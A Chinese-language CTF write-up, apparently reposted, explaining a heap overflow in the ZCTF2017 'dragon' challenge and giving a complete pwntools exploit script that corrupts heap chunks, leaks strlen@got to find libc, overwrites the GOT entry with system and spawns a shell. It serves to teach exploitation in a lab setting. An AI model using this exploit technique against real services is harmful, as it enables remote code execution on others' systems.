堆利用小结

Posted Yable

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了堆利用小结相关的知识,希望对你有一定的参考价值。

堆利用小结

关于堆的利用原理比较复杂,今天就只分析一个最简单的堆溢出,后面关于UAF,double free,unlink等的一些相关东西,我抽个集中的时间再总结写出来。这里就用一道ZCTF2017 dragon的一道堆溢出的题来分析:

这是一个64位的程序,开启了cannary 和PIE。

 

 

接下来我们找洞:

 

 

 可以看到,在add函数的strdup函数处创建堆的时候出现了漏洞。导致在edit写入的数据的时候,可以写入的数据量大于strdup创建的堆,导致堆溢出,然后就可以覆写下一个堆的内容,进而leak地址和修改got。原理如下图:

 

脚本如下:

 1 from pwn import *
 2  
 3 debug = 1 
 4 #r = remote(\'58.213.63.30\', 11501) 
 5 r = process("./dragon")
 6 context.log_level = \'debug\'
 7    
 8 def add(size, name, content):
 9     r.recvuntil(\'>> \')
10     r.sendline(\'1\')
11     r.recvuntil(\':\')
12     r.sendline(str(size))
13     r.recvuntil(\':\')
14     r.sendline(name)
15     r.recvuntil(\':\')
16     r.sendline(content)
17     
18 def edit(id, content):
19     r.recvuntil(\'>> \')
20     r.sendline(\'2\')
21     r.recvuntil(\':\')
22     r.sendline(str(id))
23     r.recvuntil(\':\')
24     r.write(content)
25     
26 def show(id):
27     r.recvuntil(\'>> \')
28     r.sendline(\'4\')
29     r.recvuntil(\':\')
30     r.sendline(str(id))
31     
32 def delete(id):
33     r.recvuntil(\'>> \')
34     r.sendline(\'3\')
35     r.recvuntil(\':\')
36     r.sendline(str(id))
37       
38 add(0x20, \'AAAA\', \'AAAA\')
39 add(0x20, \'BBBB\', \'B\'*0x18)
40 add(0x20, \'CCCC\', \'C\'*0x18)
41 
42 edit(0, \'A\'*0x18+p64(0xd1)) 
43 
44 delete(1)
45 
46 add(0x20, \'DDDD\', \'D\'*0x18)
47 
48 strlen_got = 0x602028
49 
50 add(0x10, \'EEEE\', p64(strlen_got)+\'E\'*0x10)
51 edit(3, p64(strlen_got)) 
52 
53 show(2)
54 r.recvuntil(\'content: \')
55 strlen_addr = u64(r.readline()[:-1].ljust(8, \'\\x00\'))
56 print "[*] strlen addr:{0}".format(hex(strlen_addr))
57 #libc = ELF("./libc-2.19.so")
58 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
59 libc_base = strlen_addr - libc.symbols[\'strlen\']
60 system_addr = libc_base + libc.symbols[\'system\'] 
61 #gdb.attach(r,open(\'bb\')) 
62 print"system_addr",hex(system_addr)
63 edit(2, p64(system_addr))
64     
65 edit(0, \'/bin/sh\\x00\')
66 r.interactive()

 

 现在我们来对这道题仔细的研究下:

首先申请了3组堆,每add一个对象会创建三个堆,分别为空堆 + name + content。

 

 

 然后拓展堆,并且释放到 Unsortbins:

 

 

 然后构造两组堆!DDD和EEE。

 

 

 

可以看到 0xdb9100处,也就是我们把strlen@got的地址写入了,EEEE堆的内容(content)处:

 

这样我们在list(2)的时候,就可以leak出strlen的地址了,进而获取libc的基地址,获取system的地址,写入system地址,再传入参数。

 

 这里有一个坑啊,通过read函数,改写strlen@got,因为read的指针指向EEEE的content,直接写入数据就行了。

然后就是调动system("/bin/sh")喽!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

以上是关于堆利用小结的主要内容,如果未能解决你的问题,请参考以下文章

14.VisualVM使用详解15.VisualVM堆查看器使用的内存不足19.class文件--文件结构--魔数20.文件结构--常量池21.文件结构访问标志(2个字节)22.类加载机制概(代码片段

JVM运行时数据区与JVM堆内存模型小结

Swift新async/await并发中利用Task防止指定代码片段执行的数据竞争(Data Race)问题

Swift新async/await并发中利用Task防止指定代码片段执行的数据竞争(Data Race)问题

数据结构与算法小结——排序

Java排序算法 - 堆排序的代码